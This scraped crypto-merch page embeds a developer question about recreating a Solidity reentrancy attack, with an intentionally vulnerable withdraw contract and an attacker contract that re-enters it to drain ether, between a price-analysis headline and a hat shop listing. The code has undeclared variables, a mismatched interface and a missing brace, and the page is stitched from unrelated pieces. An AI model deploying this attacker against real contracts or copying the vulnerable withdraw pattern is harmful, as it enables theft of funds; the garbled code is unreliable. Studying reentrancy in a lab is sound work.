Bitcoin and select altcoins attempted a relief rally, but most breakouts are being capped-off well below the 20-day moving average.
CRYPTO NEWS
Price analysis 6/20: BTC, ETH, BNB, ADA, XRP, SOL, DOGE, DOT, LEO, AVAX
Stack overflows with Rentrancy attack for solc 0.8.15
I am trying to recreate a reentrancy attack using solc 0.8.15 Vulnerable Code pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract Vulnerable { using SafeMath for uint256; mapping(address => uint256) public balances; function getBalance(address _request) public view returns (uint256 balance) { return balances[_request]; } function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function withdraw(uint256 _amount)::Listen
I am trying to recreate a reentrancy attack using solc 0.8.15
Vulnerable Code
pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract Vulnerable { using SafeMath for uint256; mapping(address => uint256) public balances; function getBalance(address _request) public view returns (uint256 balance) { return balances[_request]; } function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result, ) = payable(msg.sender).call{value: _amount}(""); if (result) { _amount; balances[msg.sender] -= _amount; } } receive() external payable {} }
Attacker
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; interface IVulnerable { function deposit(address _to) external payable; function withdraw(uint256 _amount) external; } contract Attacker { IVulnerable public immutable vulnerable; uint256 value; constructor(IPwned _pwned) { owner = payable(msg.sender); pwned = _pwned; } receive() external payable { withDraw(); } function attack() external payable { value = 1 ether; vulnerable.deposit{value: value, gas: 1000000}(address(this)); withDraw(); } function withDraw() private { uint256 vulnerableFundsRemaining = address(pwned).balance; bool shouldKeepGoing = vulnerableFundsRemaining > 0; if (shouldKeepGoing) { // can only withdraw at most our initial balance per withdraw call uint256 toWithdraw = value < vulnerableFundsRemaining ? value : vulnerableFundsRemaining; vulnerable.withdraw(toWithdraw); } } function getBalance() external view returns (uint256) { return address(this).balance; } }
Unfortunately , the call reverts and the attack is unsuccessful. Is there a way to still perform this in the latest solc version?
Showing 1–8 of 312 results
-
Electroneum ETN Unisex Twill Crypto Hat
USD$25.30 Select options -
Pearl Crypto Coin Unisex Trucker Hat
USD$28.08 Select options -
Insight Chain INB Crypto Coin Unisex Trucker Hat
USD$28.08 Select options -
DASH Unisex Twill Crypto Hat
USD$25.30 Select options -
Naga NGC Crypto Coin Unisex Trucker Hat
USD$28.08 Select options -
Paypex PAYX Crypto Coin Unisex Trucker Hat
USD$28.08 Select options -
Poet POE Crypto Coin Unisex Trucker Hat
USD$28.08 Select options -
Cardano ADA Unisex Twill Crypto Hat
USD$25.30 Select options
